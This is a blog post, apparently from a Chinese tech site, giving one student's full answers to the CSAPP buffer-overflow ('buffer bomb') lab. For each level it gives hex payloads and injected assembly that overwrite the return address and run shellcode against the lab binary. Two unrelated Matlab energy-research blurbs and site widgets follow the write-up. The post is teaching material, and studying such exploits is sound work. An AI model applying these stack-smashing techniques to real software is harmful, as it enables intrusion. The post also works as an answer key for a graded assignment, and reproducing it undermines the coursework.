CSAPP:缓冲区炸弹

答案

学号后六位:001036
第零关:B8 D6 DF 91 1B 68 81 11 40 00 C3 00 C8 FD 19 00 98 FD 19 00
第一关:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 11 40 00
第二关:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 12 40 00 00 00 00 00 D6 DF 91 1B
第三关:B8 D6 DF 91 1B A3 04 90 40 00 68 60 12 40 00 C3 98 FD 19 00
第四关:B8 D6 DF 91 1B A3 04 90 40 00 68 B0 12 40 00 C3 98 FD 19 00 80 15 40 00
20240320_084142.png

Overview

  • input的位置main->test->getbuf->getxs
  • 栈中间必然存在一段内容表示getbuf的返回地址,我们要做的就是输入一段较长的字符串,实现对返回地址的覆盖,这样就可以返回到我们想要的地方

第一关

  • 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 11 40 00
  • 第一关自动会call _exit,程序会自动退出,所以无需考虑维护栈结构(除第四关外都是如此)
  • 找到输出第一关成功通过的地址004011F0,将返回地址修改到此处
  • 注意小端寻址

第二关

  • 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 12 40 00 00 00 00 00 D6 DF 91 1B
  • 与第一关类似,也是需要把返回地址修改为输出第二关成功通过的地址00401210
  • 第二关比第一关多考虑了一个参数,即cookie(我学号对应的cookie是1B91DFD6)
    • 要求[esp+8]=cookie,注意到esp+8对应输入的第25-28字节,于是把这些位传入我的cookie即可
    • image.png|250

第三关

  • B8 D6 DF 91 1B A3 04 90 40 00 68 60 12 40 00 C3 98 FD 19 00
  • 首先将返回地址修改为0019FD98,即读入机器码的起始地址,这样就可以让程序执行我们输入的指令
  • 本关要求修改global_value的值为cookie
    • image.png|300
    • 所以需要跳转到修改全局变量的地址00409004,并把cookie mov进去
      • image.png|500
  • 之后需要往栈中push进输出第三关通过的地址00401260,最后用ret指令返回
  • 即答案的前16个字节为如下汇编代码的机器码,最后四个字节为机器码的起始地址
mov eax, 0x1B91DFD6
mov [0x00409004], eax
push 0x00401260
ret

第四关

  • B8 D6 DF 91 1B A3 04 90 40 00 68 B0 12 40 00 C3 98 FD 19 00 80 15 40 00
  • 这一关是在第三关的基础上完成的
  • 与其他关卡不同的一点是函数结尾不是exit,如果继续延用第三关密码,pc将ret到输入字符的21-24字节
  • 所以我们需要把ret的地址修改为函数exit的地址00401580
    • image.png
  • 即答案的前16个字节为如下汇编代码的机器码,然后四个字节为机器码的起始地址,最后四个字节为exit的地址
mov eax, 0x1B91DFD6
mov [0x00409004], eax
push 0x004012B0
ret

第零关

  • B8 D6 DF 91 1B 68 81 11 40 00 C3 00 C8 FD 19 00 98 FD 19 00
  • 交的时候才发现还有第零关
  • 注意到这里比较了[ebp+var_4]的值,要想鸟不被杀死,就必须确保getbuf结束后ebp不能被改变,仍为0019FDC8
    • image.png|450
  • 即答案的前12个字节为如下汇编代码的机器码,然后四个字节为ebp原来的值,最后四个字节为机器码的起始地址0019FD98
mov eax, 0x1B91DFD6    
push 0x00401181
ret
需求响应动态冰蓄冷系统与需求响应策略的优化研究(Matlab代码实现)内容概要:本文围绕“需求响应动态冰蓄冷系统与需求响应策略的优化研究”展开,基于Matlab代码实现,重点探讨了冰蓄冷系统在电力需求响应背景下的动态建模与优化调度策略。研究结合实际电力负荷与电价信号,构建系统能耗模型,利用优化算法对冰蓄冷系统的运行策略进行求解,旨在降低用电成本、平衡电网负荷,并提升能源利用效率。文中还提及该研究为博士论文复现,涉及系统建模、优化算法应用与仿真验证等关键技术环节,配套提供了完整的Matlab代码资源。; 适合人群:具备一定电力系统、能源管理或优化算法基础,从事科研或工程应用的研究生、高校教师及企业研发人员,尤其适合开展需求响应、综合能源系统优化等相关课题研究的人员。; 使用场景及目标:①复现博士论文中的冰蓄冷系统需求响应优化模型;②学习Matlab在能源系统建模与优化中的具体实现方法;③掌握需求响应策略的设计思路与仿真验证流程,服务于科研项目、论文写作或实际工程方案设计。; 阅读建议:建议结合提供的Matlab代码逐模块分析,重点关注系统建模逻辑与优化算法的实现细节,按文档目录顺序系统学习,并尝试调整参数进行仿真对比,以深入理解不同需求响应策略的效果差异。
综合能源系统零碳优化调度研究(Matlab代码实现)内容概要:本文围绕“综合能源系统零碳优化调度研究”,提供了基于Matlab代码实现的完整解决方案,重点探讨了在高比例可再生能源接入背景下,如何通过优化调度实现零碳排放目标。文中涉及多种先进优化算法(如改进遗传算法、粒子群优化、ADMM等)在综合能源系统中的应用,涵盖风光场景生成、储能配置、需求响应、微电网协同调度等多个关键技术环节,并结合具体案例(如压缩空气储能、光热电站、P2G技术等)进行建模与仿真分析,展示了从问题建模、算法设计到结果验证的全流程实现过程。; 适合人群:具备一定电力系统、能源系统或优化理论基础,熟悉Matlab/Simulink编程,从事新能源、智能电网、综合能源系统等相关领域研究的研究生、科研人员及工程技术人员。; 使用场景及目标:①开展综合能源系统低碳/零碳调度的科研建模与算法开发;②复现高水平期刊(如SCI/EI)论文中的优化模型与仿真结果;③学习如何将智能优化算法(如遗传算法、灰狼优化、ADMM等)应用于实际能源系统调度问题;④掌握Matlab在能源系统仿真与优化中的典型应用方法。; 阅读建议:建议结合文中提供的Matlab代码与网盘资源,边学习理论模型边动手调试程序,重点关注不同优化算法在调度模型中的实现细节与参数设置,同时可扩展应用于自身研究课题中,提升科研效率与模型精度。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值